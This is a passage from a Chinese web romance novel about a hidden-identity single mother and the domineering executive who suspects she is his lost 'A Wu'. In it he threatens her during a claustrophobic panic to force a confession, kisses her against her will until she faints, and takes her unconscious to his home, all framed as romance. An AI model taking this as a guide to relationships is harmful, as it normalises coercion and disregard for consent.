那就说明,六年前,宋蔓就已经怀孕了。 没人知道,订婚宴那天,宋蔓对她又打又骂。 当时,宋蔓指着肚子,愤恨的瞪着她,“霍妩,今天是我和宴北的订婚宴,你不走,还来恶心我?贱不贱啊?” “我告诉你,我已经怀了他的孩子,如果你要点脸的话,以后就彻底消失在我们的世界里!” 一字一句,萦绕耳畔。 乔眠眼中的湿润一点点溢出眼眶。 所以,那时候,宋蔓确实已经怀孕了…… 当年,霍宴北大抵是嫌弃她肚皮一直没动静,就在宋蔓身上努力了…… 想来,那场大火,他没有回来救她,是因为,已经彻底放弃她了…… 毕竟,她于他而言,已经没有任何用处了…… 想到这些,乔眠借故去卫生间,将自己反锁在里面,蹲在地上,默默地流着眼泪。 直到哭到眼泪流不出来了,才整理好情绪出来。 饭后,乔眠陪着孩子们完成老师布置的手抄报后,打开笔记本电脑,浏览招聘信息。 虽然还剩下半年时间,但她还是想提前做打算。 乔慕城心思敏睿,总能第一时间察觉出她的异常。 “妈妈,你今天晚上不用出去吗?” 乔慕城走到她身边,探着脑袋,想看她在忙什么。 平时,这个点,妈妈都在外面兼职。 今晚没出去,不对劲。 乔眠不想跟孩子撒谎,柔声回道:“妈妈正在投简历,过几个月,准备换一份新的工作。” 乔慕野拉着妹妹跑了过来:“妈妈是被同事欺负了,才辞职的吗?” 乔慕心一脸担忧:“妈妈,你没事吧?” 乔眠将笔记本电脑放在茶几上,弯着眉眼,将三个小宝搂进怀里:“妈妈没事,妈妈只是想换一份薪水高一点的工作。” 乔慕心:“我希望妈妈找一份不累的工作,老板最好是颜值超高的帅叔叔。” 乔慕城和乔慕野,没眼看的刮了妹妹一眼,“花痴。” “哼,我才不是花痴!爸……” “乔慕心!” 乔慕城和乔慕野一人捏住她一边脸颊,打断了她呼之欲出的‘爸爸才是花痴’这句话。 妈妈不喜欢他们提爸爸…… 乔慕心意识到自己的嘴巴差点闯祸,心虚的扮了个鬼脸跑开了。 乔慕城和乔慕野在后面追,故意吓她。 “哇啊,妈妈,哥哥们追杀我。” “乔慕心,你长点心吧……” “妈妈,哥哥们好凶哦,长大以后肯定不讨女孩子喜欢。” 乔慕心躲到妈妈怀里,还跟哥哥们斗嘴。 乔慕城无语。 乔慕野腼腆笑笑,没跟妹妹计较。 乔眠看着嬉闹的小宝们,感觉心里轻快多了。 也没那么焦虑了。 乔慕心跑的呼哧呼哧喘着气,又把哥哥们的警告抛诸脑后了:“妈妈,如果我们有爸爸的话,妈妈是不是就不会这么辛苦了?” “……” 乔眠表情微微一僵。 这些年,她从未主动在孩子们面前提过他们的爸爸。 有时候,孩子们主动问,她都是避而不答。 时间长了,孩子们也就没再问过。 此时,望着女儿提及爸爸时期待又好奇的小表情,乔眠一时语塞。 最后,依旧并没有正面回答问题。 “有你们三个这么乖的宝贝陪着妈妈,妈妈一点儿都不辛苦,妈妈一个人可以照顾好你们的。” “好啦,别打扰妈妈了。” 乔慕城一把拉走妹妹,跟乔慕野使了个眼神,一起去了卧室。 卧室只剩下乔眠一人时,她打开衣柜,从四面拿出件西装外套。 前两天,她还给霍宴北,他却不要了那件。 衣服在指间一点点攥出褶皱。 她静静地发了一会儿呆,打开一个二手奢侈品交易APP。 把西装拍了几张照片后,挂了上去。 与其留着占衣柜空间,不如卖了换钱! 她一个人养三个孩子,每个月工资都不够花的。 就当是他这个爸爸,为孩子们作出点贡献吧…… 她在心里安慰自己。 为自己卖掉别人衣服而找一个心安理得的理由。 …… 霍宅。 今晚是霍家规定每半个月一次的聚餐。 此时,算上后辈们,十来个人围坐在一张大圆桌前。 饭菜酒水已经上齐。 坐在主位的霍老爷子须发花白,满脸肃穆的端坐在老梨花木太师椅上。 双手交叉,紧扣着一个狮头拐杖。 虽近八十岁,但体态硬朗,眼神炯烁,气场震慑力十足。 他没发话,没有一个人敢动筷。 所有人都在等霍家的活阎王。 此时,大房儿媳林淑华,望了一眼堂屋门口方向,笑吟吟地说了一句,“这些年,宴北掌权后,倒是架子越发大了,我听说,爷爷打了很多次电话,都没把他请回来呢。” 丈夫霍宴礼瞪她一眼,“少说话。” “我是他的堂嫂,嘀咕两句,宴北还能怪罪我不成?” “你……” 霍宴礼想阻止妻子,妻子不听劝告,开始抱屈起来了。 “爷爷,当初您说的,只要霍家掌权人后继有人,就能拿到您手里的股份,但是,六年过去了,宴北和宋蔓也就只有一个女儿念念,这也不算后继有人吧?而我和宴礼的儿子,已经六岁了,难道不该有份吗?” 第35章 六年前他就弃了她 老爷子拧眉,拍了一下桌子:“什么混账话?念念难道不是霍家子嗣?” 林淑华抖着胆子说,“女儿家也继承不了霍家的产业啊,宴礼和我给您生的可是曾孙子,您什么都没给,爷爷,您不该偏心。” 说完,瞪了一眼丈夫霍宴礼,“你倒是说话啊?我们受的欺负还不够…… 话到一半,霍宴北身高腿长的从堂屋正门走了进来。 他脸上没什么表情,走到饭桌前,没跟任何人打招呼。 越过父亲霍启文,径直走到老爷子身边坐了下来。 他低着头,把玩着腕上的手串,声音淡淡的,“看来堂嫂对我意见很大?” “……” 林淑华看到霍宴北时,被他眉宇间那股与生俱来的强大威压震慑住。 挑起的火,无声无息的灭了。 场面有些尴尬。 霍宴礼含笑看向霍宴北:“堂弟,你堂嫂也是关心你和宋蔓,你俩这么多年了,也没生下儿子,是不是该想想办法呀?” 两人是堂兄弟。 按霍宴礼的思维逻辑,他是大房嫡长孙,论在公司的资历和经验,最该是继承霍氏集团的正统人选。 最后,却让堂弟,抢得了继承人的位置…… 大房心里很不痛快。 一直攒着股劲儿,见缝插针的挑霍宴北的错处。 霍老爷子手里还攥着霍氏集团压箱底的股份。 在霍家,就是太上皇。 是绝对有话语权的人。 所以,平时鸡零狗碎的大小事都要闹到老人家跟前,给霍宴北上点眼药。 偏偏,霍宴北是个谁都不放在眼里的活阎王。 即便今晚霍老爷子镇场,他亦是不留情面。 “堂哥这么着急拿子嗣说事,无非是觉得自己能耐大了,既然如此,以后分公司那边也无需你操劳了。” 霍宴礼脸上的笑容僵住:“宴北,你这意思是……要把我从公司踢出去?” 霍宴礼是大房这一脉的希望。 自从竞争继承人失败,就被霍宴北排挤出了集团内部,若不是老爷子给他要了一个分公司总理一职,怕是连今天坐在这张桌上吃饭的位置都没有。 一直以来,大房心里憋着火呢。 现在霍宴北又要卸去他分公司的职位,他怎能不恼火? “堂兄在分公司私自挪用了多少笔帐,非得摆到明面上说吗?” 霍宴北冷淡回了一句。 霍宴礼脸色发白。 没想到分公司的情况,霍宴北居然知道的门儿清。 但是,他肯定不会承认的。 “宴北,别往我头上扣屎盆子,我告诉你,即便你把我撵出分公司,但别忘了,霍氏集团,我也持有股份。” 霍宴北冷笑:“你们那点股份之所以还能稳当捏在手里,那是因为老爷子说,都是霍家人,不能赶尽杀绝。” 说到这里,他眼神变得森寒,睨向大伯霍启国:“比起您当年把我赶出霍家,我现在已经很仁慈了,不是吗?” “……” 霍启国脸色铁青。 他就知道,这个侄子记仇。 当年的小狼崽,已然长成一头野狼。 早晚会反扑报仇。 早知道,当年…… 霍老爷子的女儿霍启芸冷不丁插腔:“当年宴北流落在外,若不是霍妩那丫头照顾,不知道会成什么样子?大哥,你们大房欠宴北的,他现在做什么都不过分。” 霍启国瞪她:“你有什么资格说风凉话?当年,你死了丈夫,赖在娘家,不就是想让你儿子爬上继承人的位置?” “宴北当年眼睛失明,你可是比谁都高兴!” “当年,宴北在学校出事,可是,你让霍妩那丫头在门外跪了一夜,现在装好人去讨好宴北了?” 听着这些话,霍宴北紧攥的拳头咯咯作响。 一瞬间,气氛降至冰点。 霍老爷子跺了跺手里的拐杖:“吵什么?我还没死呢!” 所有人噤若寒蝉。 霍宴北却忽然起身,修长的大手猛地一抬。 砰一声巨响。 桌子被掀了。 酒菜洒落一地。 人人震惊! 霍宴北行事狠厉,霍家人是知道的。 但是,当着老爷子面发飙,还是头一回。 霍老爷子手里的拐杖抡到孙子身上:“给我滚去祠堂跪着!” 霍宴北挨了一棍,眉头都没皱一下,薄唇轻掀:“爷爷,如果还要执行家法的话,请快一点,这里,我不想多留一刻钟。” “孽障!跪一夜!没有我的允许不许起来!” 霍老爷子气得心梗痛。 霍宴北却已经迈着大长腿走出堂屋。 去了祠堂。 这顿家宴算是毁了。 一大家子吓得纷纷退席。 只有霍宴北的父亲霍启文留了下来。 他扶着霍老爷子进里屋坐下,“您别怪他。” 霍老爷子叹气:“罚他,是因为他现在行事愈发狂悖,得磨磨他的性子才行。” 霍启文松了一口气。 …… 祠堂。 霍宴北跪在青石板铺砌的地面上。 修长的双腿将裤子绷的很紧。 挺括宽厚的脊背像一张拉满的弓,隔着衬衫,隐隐可现那紧实的肌肉线条。 他双手搭在腿上,阴郁的面孔抬起,冰冷的像一尊石雕。 听到身后传来细微的脚步声时,脊背微颤,意乱神迷地唤了一声,“阿妩……” 以前,在霍家,每当他被罚跪祠堂或是受家法时,只有阿妩陪着他。 看到他满背鞭伤时,会哭的跟只小奶猫似的。 霍家,人心凉薄。 可他曾经自私的把她拽入了这个吃人不吐骨头的魔窟。 他知道,她在霍家过得不开心。 可他还是将她禁锢在身边。 他习惯了她陪着。 阿妩不在,他睡觉都难以安稳。 霍宴北转过头,看清楚来人时,眉头紧拧。 霍启文叹气:“这么多年过去了,你该放下那丫头了……” 男人菲薄的唇掀起一抹嘲讽的弧度,“父亲,我到底没能遗传您爱情至上的伟大,不像您,当年轻飘飘就抛弃了我母亲和我,和你养在外面的女人重婚生子。” “是我对不住你死去的母亲,也亏欠了你。” 霍启文再次重重叹了一声:“宴北,欲戴王冠,必承其重,六年前,你就明白这个道理,即便霍妩现在还在,你们之间也不会有未来,六年前,你就做出了选择,不是吗?” 第36章 看到乔眠被男人追求,心里很不爽 这席话,像冰棱子一样狠狠戳到霍宴北的痛处。 他死死咬着牙,眸底盛满暴怒、悔恨。 父亲说的,是事实。 当年,他为了走上权力的最顶峰,弃过阿妩…… 双手无力地滑落,撑在冰冷的地面上。 他低着头,猩红的眸底翻腾如浪。 霍启文按了按他的肩膀:“你以为你瞒天过海和宋蔓假结婚一事,我不知情?当然,这事,现在不重要,重要的是,蔓蔓当年以整个宋家为嫁妆,助你坐上了今天这个位置,她又等了你六年,你不能辜负了她,跟她领证吧,然后要一个属于你们自己的孩子……” “还是管好您在外面的女人和私生子,我的事情,与您无关。” 霍启文满脸愧色,抬步离开了。 这时,手机震动了一下。 霍宴北滑开手机。 看到微信弹出一条消息。 一个微信名叫‘不喜欢吃蛋糕的咸鱼’的人,申请加他好友。 男人愣了下。 是乔眠。 之前主动加她,她拒绝。 现在怎么又主动加他? 本想点同意的,但是,想到她之前说,她多么比不上她那废物男朋友时,额头青筋一跳,点了拒绝。 …… 卧室。 乔慕城和弟弟妹妹围坐在榻榻米上。 乔慕野:“哥哥,是不是你没有操作正确?” 乔慕城:“我注册的这个微信号,特意换成了跟妈妈一模一样的头像和昵称,还跟着网上学的怎么添加好友,是霍叔叔拒绝我的好友申请,跟我操作无关好吧。” 乔慕心:“可是,霍叔叔为什么要拒绝?” “我哪知道!” 乔慕城撇了撇嘴:“明天再加一遍。” 乔慕野:“最好每天都加一遍,通过几率高。” 乔慕城:“不过,霍叔叔只能是个备胎,加他也只是先了解了解……” 说着,他点开一个同城婚恋App,“这是我刚注册的账号,等把妈妈的美照传上去后,就可以给妈妈征婚了。” 乔慕野:“可是,我们还没有妈妈的照片。” “现拍呗。” …… 此时,乔眠投完一波简历后,正坐在电脑桌前,忙着修改合同。 刚才接了一个跟律师行业相关的私活。 她在某宝有一家网店。 拿到律师资格证后开的。 提供法律问题咨询。 拟定合同。 代写诉状。 代跑法庭、资料送审等等业务。 特殊群体免费。 这会儿,她正忙着给下单的顾客,拟定一份财产协议。 她穿着一件白色长款毛衣裙,长发松散的用一个鱼骨夹固定。 露出纤细莹白的脖颈。 光线昏黄,倾洒在身上,衬得身材格外纤柔。 乔慕城趴在门口,点开相机,偷偷拍了一张照片。 回到卧室后,三个小家伙又凑在一起,开始绞尽脑汁填写妈妈的征婚信息和择偶标准。 …… 晃眼间,又一周过去了。 从那天下班被宋沉纠缠,说了那些话,被霍宴北听到后,他没有再单独让她去过办公室。 陈珂也没再问过,让她加霍宴北加微信一事。 倒是乔眠,经过之前被几番试探后,,长了记性。 也生了防备之心。 对霍宴北,尽可能的避开碰面的机会。 需要递交总裁办公室的文件,都让陈珂代为转交。 除了在必要的会议上碰到他,也只是象征性的打了一声招呼。 而且,这一周,没再见过周津南,听同事说……出差了。 这天周五。 临近中午。 她收到一大捧鲜花。 看卡片,又是顾淮年送的。 只不过,还有一个精致的礼物盒子。 打开一看,是一条卡地亚手链。 即便她对珠宝不怎么研究,也知道不便宜。 何眉艳羡的大叫一声,“卡家最新出的天使之泪,官网预售十五万呐!” “小乔,是哪个男人这么有钱在追你啊?” 这一声惊叹,引得里间的几个同事们都来看热闹。 乔眠捏着手链的手,就像捏着一块火炭似的,烫得厉害。 这也太贵了。 她小心翼翼的把手链放进盒子里。 心想,晚点叫个同城跑腿,还回去。 “小乔,到底是什么人这么大手笔,在追你啊?” 何眉忍不住又问。 乔眠皱了皱眉,刚欲开口时,余光里瞥见一道熟悉的身影。 她转头望去。 霍宴北的目光已经收了回去。 他开口走进办公室。 乔眠只看到他一个料峭高大的背影。 紧接着,办公室们砰一声被甩上了。 震的乔眠心脏一震。 “一个不喜欢的人……” 她喃喃回了一句。 何眉凑到那大捧鲜花面前,深深嗅了嗅,“该不是什么土肥圆暴发户吧?” “比那还恶心……” 乔眠心不在焉的应了一声,又望了一眼紧闭的办公室门后,拿起那捧鲜花准备扔掉时,何眉拦住,“人你不喜欢,可是这399朵玫瑰花,扔了多可惜啊,就当熏香熏熏办公室也好啊。” “那你留着吧。” “真的啊。我要我要!” 何眉顺势抱过去,摆在了自己办公桌上。 乔眠坐下后,打开APP,输入众诚律所,自动检索出纤细地址后,她下单准备叫同城跑腿,把礼物送还给顾淮年,但是,转念一想,这么贵的东西,如果丢了怎么办? 思来想去,她把首饰盒放进包里,心想抽空去一趟他的律所还给他。 还得好好问问清楚,他一二再的打扰她,到底什么意思。 与此同时。 霍宴北坐在办公桌前,皱眉抽着烟。 脑子里都是乔眠那张被鲜花映照的比花儿还要漂亮的小脸。 他冷哼一声。 前些天,还信誓旦旦的说喜欢自己的男朋友,现在转头就收了别人的鲜花,还有礼物? 她还真是善变。 “查查是谁送的。” 他命令道。 不知为何,他心里很不舒服。 陈珂打了一个电话,没过多久,回道,“霍总,是顾律师……” 霍宴北眉头狠狠一拧。 搁在身侧的手蓦地攥成了拳头。 他捣什么乱! 陈珂见霍总脸色很差,说了一句,“顾少对女人从来就没有长性,许是贪恋乔律师美貌,一时图新鲜,追着玩玩的。” 听到‘追着玩玩’四个字,男人的脸更是冷到了骨子里。 有一种自己端到桌上的蛋糕,被别人觊觎的郁闷感。 第37章 领带绑住她 傍晚六点。 孟白和何眉卡点就下班了。 乔眠把手头上一份合同整理好,准备下班时,电话响了。 是陈珂打来的。 让她去一趟总裁办公室。 乔眠的心一下子提到了嗓子眼。 望了一眼对面紧闭的总裁办公室。 心里发怵。 霍宴北总是防不胜防的试探她,弄得她紧张兮兮的。 最近天天晚上做噩梦。 梦到被他抓回去了,还把她囚禁起来了,威胁她,说是她再跑就打断她的腿…… 想到这些,乔眠心都哆嗦。 但是,现在,他又是她们律所合作的甲方爸爸,得罪不起。 最后,她去洗手间洗了一把脸,照着镜子,做了几次深呼吸后,像奔赴刑场似的,一脸忧愁的去了总裁办公室。 “霍总,有什么事吗?” 她规矩站在办公桌前,平静地问。 霍宴北将一份文件丢过来:“把这份草拟合同重新审查一遍,然后拟一份正式合同,打印出来给我。” “现在吗?” “嗯。” “我能不能带回家工作?今天晚上一定审查完,发到您邮箱。” 这份合同审查完,少说也得两个小时。 她还要去托班接孩子…… 可是,霍宴北听后却有些不满:“乔律师,项目合同能随随便便带出公司吗?如果数据外泄,你承担不起。” “我知道……” 乔眠抿了抿唇,商量的语气问:“霍总,我现在得回家,明天周六,我不休息了,明天白天来公司加班可以吗?” “着急回家?” 男人修长漂亮的双手交叉与怀,目光涔涔的凝视着她,“陪你那废物男朋友?” “?” 乔眠懵了两秒,才想起来,那晚在顾怀年面前,说过自己有男朋友一事。 他倒是记得清楚。 既然他提到了,倒是给了她一个借口。 “我男朋友需要我照顾。” 霍宴北冷嗤一声:“怎么?你那废物男朋友残了?失去自理能力了?” “……” 乔眠呼出一口浊气。 别看霍宴北平日里话少又高冷,但有时候,一张口能毒死人。 简直和六年前一模一样。 乔眠硬着头皮编下去:“他感冒了。” “用给他叫辆救护车不?” “……” 望着他越来越沉的脸色,知道扯下去,肯定会惹恼他。 他最不容许别人忤逆他。 商量无果,她只能服从。 “霍总,我现在就开始工作。” 她拿起文件,转身欲走时,霍宴北修长的手指点了下桌面:“在这儿办公,不明白的地方随时跟我沟通。” 他一副公事公办的严肃态度。 乔眠点了一下头。 准备去沙发那边坐下。 但是,男人朝对她旁边的座椅抬了抬下巴,“在我对面办公。” “……” 跟他共用一张办公桌…… 简直比考试时,被监考老师盯着还要紧张。 坐下后,她掏出手机,给阮薇发了一条微信。 让她帮忙去托班接下三个孩子。 微信发出后,阮薇秒回:【放心吧,我会准时接孩子们的。】 乔眠弯了下唇,回了一个‘爱你哦’的表情包。 霍宴北却在看到她低着头,拿着手机,面露一抹温柔笑意,似乎给谁在发微信时,出声轻斥:“乔律师,工作认真点。” 乔眠淡声解释:“我就是给家里人说下晚点回去。” “男朋友?” “……” 乔眠顿了下,点头。男人扯了扯嘴角:“离了你还不活了?我觉得,你那废物男朋友可以踹了。” “……” 乔眠咬了一下嘴角。 很想怼一句‘多管闲事’! 但没那个胆儿。 索性回了一句:“我喜欢就够了。” “……” 霍宴北脸色沉了沉。 不知为何,听到她说这句话,他心里竟生出一丝恼意。 甚至有一种冲动,想把她提溜进怀里……亲死算了! 他深深吸了一口气,抬手,捏了捏鼓鼓跳动的眉心。 觉得自己潜意识里,又把她幻想成了阿妩…… 此时,她距他一米之远。 容颜清纯、柔美。 米色薄款修身毛衣,将上半身最饱满与最纤细的两个部位,彰显的淋漓尽致。 头发松散的用一根发簪绾在脑后,温婉的人畜无害,给人一种很好欺负的娇弱感。 加上面相偏幼,最能勾起一个男人骨子里的邪欲。 男人落在她身上的目光变得幽深、灼烫。 性感的喉结上下滑动。 他烦躁的扯了领带,随手扔在办公桌上。 殊不知,这一个动作,吓得乔眠脊背生寒,身体下意识往后躲了一下。 以前,霍宴北最喜欢用皮带或是领带,捆住她一双手腕。 把她抵在这张办公桌上,重重折腾…… 他还变态的专系捆过她的领带…… 注意到女人的反应,男人眼神困惑:“你怕什么?” “没……没怕。” 乔眠紧忙调整好坐姿,继续低头看合同。 一行行密密麻麻的字,落在眼里都是花的。 霍宴北盯了一眼那条领带。 想起女人方才脸上一闪而过惊乱,不禁联想起以前,在这间办公室内,阿妩曾经在他身下惊乱又羞怯的一幕幕。 他有性瘾。 但,只对阿妩有。 此时,目光再落向乔眠时,仿佛眼前的女人,一点点幻化成了阿妩的模样。 一股无法抑制的冲动念头,在心底疯涨。 他紧紧攥着领带,想绑她…… 想像以前那样,让她哭…… “出去。” 领带在指骨间攥出深深褶皱。 男人盯着乔眠,低沉的嗓音透着一丝难耐的沙哑。 “什么?” 低头看合同的乔眠一时没听清楚。 一抬头,就看到霍宴北不知何时已经站了起来。 高括沉厚的身体投下来的暗影,如浓稠的乌云,笼罩她。 一双撑在办公桌的手臂,隔着布料,仿佛能感受到肌肉上跳动的脉络。 他目光灼烫,眼尾一抹猩红。 这样极具侵略性的危险眼神,充斥着一个男人对一个女人的占有欲。 乔眠心下一慌,也不管他刚才到底说了什么,抱起文件,逃也似的出了办公室。 望着女人惊慌逃走的身影,霍宴北抬步去了休息室。 乔眠回到工位上,想起刚才霍宴北盯着自己的眼眸时,心脏噗通噗通的乱了节奏。 那个眼神,太欲了。 像一把火,烧得她脸颊都微微发烫。 第38章 在电梯里跟他接吻 她起身,去了一趟卫生间,洗了一把脸。 回来后,收到阮薇发来的微信。 说是已经把孩子们接回家了。 她点开监控,看到阮薇正坐在客厅里,陪着三个小宝吃炸鸡、喝可乐。 乔眠紧绷的神经这才松缓下来,继续工作。 直到八点半,她把厚厚一沓合同审查完,去总裁办公室交差。 此时,霍宴北换了一身衣服,黑色高领毛领,罩着一件黑色羊毛大衣。 他应该刚刚沐浴过,头发蓬松柔软的趴在额前,清冷的眉宇间,透着股干净禁欲的气质。 隔着一段距离,依旧能嗅到他身上那股染着潮湿气息的草木香。 乔眠站在办公桌前,望着低头翻看合同的男人,看得有些出神。 约模五六分钟,霍宴北满意的点了一下头,“可以了。” “那我下班了。” “嗯。” 乔眠如释重负,快步走出办公室。 回到工位上,拿起包就朝电梯口走去。 只是,走到电梯口,却发现员工电梯因故障停修了。 而且是八部都停了。 她打了维修电话,对方说至少需要一个小时。 乔眠无奈。 她穿着高跟鞋,三十一层走下去,脚肯定得磨出泡来。 正在这时,一道清冷的声音从身后传来。 “过来。” 乔眠后背一紧。 一转身,看到霍宴北站在专用电梯里。 一只骨节分明的大手扒着电梯门,目光沉静地看着她。 乔眠急忙摆手,“霍总,您先走,我走楼梯就行。” “别让重复第二遍。” 他声音很淡,却带着一股不容置喙的命令。 感觉自己不过去,也会被他擒住手腕抓进去。 她很了解他。 他喜欢柔软乖巧的,跟他硬碰硬,只会死得更惨。 权衡之下,她抬步走了进去。 自觉站在角落里。 见霍宴北按了负一按键,她走过去,抬手,准备按一楼键时,突然,电梯里的灯灭了。 同时,哐一声响,电梯剧烈一震。 乔眠吓得惊喊出声。 原本就有幽闭恐惧症的她,黑暗中,源自于对未知的恐惧,她条件反射的抱住了霍宴北。 怀里突然撞进来一具女人柔软的身体,霍宴北身体微微一僵。 旋即,抬起一双手臂,环抱住女人柔软的细腰。 感受着她隐隐颤抖的身体时,下意识收拢双臂,将她纳入怀中深处。 下巴抵着她松软馨香的发顶,嗓音温和:“别怕。” 耳边传来男人低沉好听的声音时,乔眠这才意识到自己正在霍宴北怀里。 “霍总……对不起……” 她呼吸紊乱,慌忙推他。 霍宴北顺着她的意思,松开了她。 但是,电梯又忽然猛地一震,乔眠吓得啊一声大叫,直接扑进了霍宴北怀里。 “我……我好害怕。” 她吓得语无伦次。 一双纤细的手臂,死死抱住男人紧窄的腰。 黑暗、狭小逼仄的空间,带来的生理性恐惧,冲散了她的理智。 呼吸越来越急促、凌乱。 额头也沁出了薄汗。 男人双臂抬了下,没有抱她。 那双比暗夜还要幽深的眼眸,仿佛一把利刃,似要将女人的伪装戳穿。 “乔眠,你有幽闭恐惧症,是吗?” 他嗓音里带着一丝轻颤,问。 本就内心极度恐慌的乔眠,听到这句话,吓得一把推开他。 却又因在黑暗中找不到可依靠攀附的屏障,一双抖颤的小手,摸索着,抓住他的胳膊,微微喘息着:“我……带我出去……我害怕……” 带着一丝祈求的声音都在颤抖。 霍宴北猛地扣住她的腰,将她整个人拖进怀里,另一只手桎梏住她的脸颊,哑声逼问道:“你是我妹妹阿妩,对不对?” 阿妩胆小。 尤为怕黑。 有黑暗幽闭恐惧症。 记得刚被她捡回家那段时间,有一天晚上,打雷下雨。 出租屋停电了。 窄小的卧室,阿妩的哭声惊醒了睡在客厅沙发上的他。 他眼睛看不见,摸索着,在墙角找到了她。 她惊恐的浑身打颤,细糯的哭声像小奶猫似的。 那是他第一次抱她。 却抱了整整一夜…… 那夜,阿妩在他怀中颤抖惊惧的感觉,就和此刻,他抱着乔眠的感觉一般无二。 如果没有黑暗幽闭恐惧症,即便怕黑,也不会反应如此大。 可是,乔眠不敢承认:“不……我不是阿妩。” 比起黑暗幽闭恐惧症带来的恐慌,更让她恐怖的是被他认出来! 这时,电梯忽然下沉,乔眠再度啊一声轻喊,将整张脸埋进男人的胸膛,带着细弱的哭腔:“我害怕……我要出去……” 霍宴北箍紧她簌簌发抖的身体,在她耳边低声诱哄,“别怕,只要你承认是我的妹妹阿妩,我就带你出去。” 黑暗中,乔眠酸疼的眼眶里蓄满泪水,一颗一颗砸下来。 她小手颤抖着攥紧他的胳膊,连呼吸都是疼的。 这种时候,他居然威胁她! 乔眠喘息灼烫的推开他,踉踉跄跄的走到电梯门口。 哆嗦着手,试图从包里找手机,却因身体抖的太厉害。 加上极度的恐惧和呼吸困难,身体一软,瘫坐在了地上。 她抚着胸口,拍着电梯门:“我要出去……” 这时,一束光亮蓦然亮起。 她转头望去,就看到霍宴北弯腰蹲在地上,手里举着手机。 手电筒的光亮照尽了女人脸上的泪水和恐惧。 他缓缓伸手,动作轻柔的刮掉她脸上的泪珠,再一次轻声询问:“你是阿妩,是不是?” 豆大的泪珠一颗一颗从女人沁红的眼睛里滚落。 额头上的汗浸湿了鬓发。 呼吸艰涩导致缺氧,小脸变得苍白如纸。 即是如此,她仍是倔强的否认:“我不是阿妩……霍总认错人了……” “你不肯承认,我就亲自验证。” 语落瞬间,霍宴北一把将乔眠从地上拽起来。 一只手死死攥住她的腰,另一只手扣住她的后脑勺,狠狠地吻住了她的唇。 唇唇缠上的瞬间,乔眠的脑子里,像烟火炸裂一般,嗡鸣一声。 躯体化的僵硬,让她作不出任何反应。 瞪大的眼瞳里,闪动着的泪珠,汹涌而落。 唇齿被他强势撬开。 呼吸跟他纠缠在一起。 第39章 被亲晕在他怀里 她所有的感官都被他霸道强势的气息占尽。 快要将她唇舌绞碎。 他吻得凶猛、炽热。发疯的跟她接吻。 黑暗中,抱着她,吻着她的感觉,她身上清甜的味道,都是那么熟悉。 这一刻,霍宴北简直要疯了。 “阿妩……” 他咬着她的唇,禁锢着她的细腰,恨不得把她整个人揉进骨血中。 而乔眠,快要溺毙在他掀起的风浪中,只有紧紧攀附着他,才不会沉下去。 长时间的缺氧和恐惧,让她喘不过气来。 脑袋晕沉沉的,最后,在他怀里晕了过去。 感受到怀里娇软的身体下坠,男人手臂一提,将她捞进怀里。 脸颊埋在她汗湿的脖颈,怜惜又愧疚的轻喃:“阿妩,抱歉,我不该逼你……” 没多一会儿,电梯里的灯骤然亮如白昼。 紧接着,电梯门开了。 此时,电梯已经下行到负一。 老早等在电梯外的陈珂,看到霍总怀里抱着人事不省的乔眠时,吓了一跳:“霍总,乔律师她该不是吓晕了吧?” 霍宴北没理他,快步走出电梯。 陈珂立马跑到车前,打开后车门。 霍宴北抱着乔眠上车后,命令道,“去澜园,然后把萧时叫过来。” “是。” …… 澜园。 一间中式装修风格的卧室内。 华丽的水晶灯光线洒下来,映在女人苍白的脸上,镀了一层闪烁的柔光。 衬得她有一种娇弱的美。 霍宴北坐在床边,手里拿着湿毛巾,动作轻柔地擦去她额头上沁出的汗珠。 撤回手时,衣袖忽然被乔眠紧紧攥住。 “我害怕……放我出去……” 昏昏沉沉的乔眠,仍旧处在惊惧中,身体哆嗦着,嗓音轻弱的呓语出声。 霍宴北附身,轻轻抚着她温软的长发,哑声轻哄,“阿妩,乖,不怕,哥哥在……” 说话时,呼吸出来的热气烫在女人脸上。 乔眠原本颤抖的身体蜷缩了一下。 像一叶无依的浮萍,寻着安全之地靠拢,一双纤细的手臂紧紧抱住了他的脖颈。 霍宴北身体不得不附的更低,额头贴了下她的。 滚烫滚烫的。 “宴北。” 一道淳厚磁性的嗓音传来。 一个穿着一件浅灰的大衣,黑长裤,提着医药箱的男人,走了进来。 他生了一张骨相高级的厌世脸。 不笑时,给人一种沉闷无趣的感觉。 性子慢。 走路也慢。 霍宴北目光焦灼的刮他一眼,“萧时,过来看看,她发烧了。” 萧时点了下头,走到床前,在椅子上坐下。 看清楚乔眠那张脸时,说了一句,“原来她就是乔眠,很漂亮,怪不得顾淮年嘴里一直惦念着。” 霍宴北眉眼沉了沉,没说话。 两分钟后,萧时给乔眠诊完脉。 他起身,走到外间沙发坐下。 “她怎么样了?” 霍宴北跟过来问。 萧时情绪平平:“她不是发烧,是物理性急性发热,是心悸气短,又受惊吓所致,好好睡一觉就没事了。” 说罢,意味深长的看了一眼霍宴北:“不过,她身体血气严重亏空,应是以前生产过,没有好好调理导致的。以后,怀孕有一定的困难。” 他是霍宴北的发小,自得把那女人的真实身体情况告知于他。 毕竟,这是霍宴北第一次带女人来澜园。 想必是搁在心尖的情人…… 萧时的医术,霍宴北毫无质疑。 只是,乔眠生过孩子……这一点,他很吃惊。 想到她的微信头像,是一副孩子的涂鸦之作,又有一个废物男朋友…… 所以,她和她那个废物男朋友,生了个孩子? 霍宴北冷峻的脸色更冷了。 萧时走后,他来到床前坐下,望着蜷缩躺在床上的女人,眉宇间又化开一丝温柔。 别的不重要,只要她是他的阿妩就行。 “抱抱……慕城……” 这时,睡得并不安稳的乔眠,嘴里溢出一个名字。 虽然声音很小,但他还是听到了。 “慕城?” 是她那废物男朋友的名字? 男人不由地攥紧了拳头。 一股强烈的占有欲充斥于心。 他从衣柜里拿出一件白色连衣裙,唤来佣人,给她换上。 她不是乔眠,更不是谁的女朋友,她是他的妹妹,阿妩。 除了他,谁都不许染指。 …… 窗外寒夜浓郁。 乔眠想睁开眼睛,眼皮沉得又睁不开。 依稀听到粗重的呼吸声,以及淅淅索索的动静。 “阿妩……” 霍宴北躺在乔眠身边,和她保持一段距离。 他望着女人的脸,微阖着迷离的眼眸,线条漂亮的薄唇溢出一声比一声难耐压抑的喘息…… 那些带着喘息的一声声‘阿妩’,就像魔音似的在耳边不断萦绕。 乔眠霍地睁开眼睛。 脑袋像是宕机了似的,迷蒙了好一会儿,才捶着发晕的脑袋,从床上坐起来。 环视一圈,望着熟悉的,古香古色的卧室,吓得她脸色瞬间惨白。 是在做梦吗? 她在霍家? 这间卧室,居然和六年前,她在霍家住的那间卧室一模一样。 连陈设家具都一模一样。 空气中弥漫着一股幽微的草木香。 她转头,往向窗外。 外面的庭院建筑……不是霍宅。 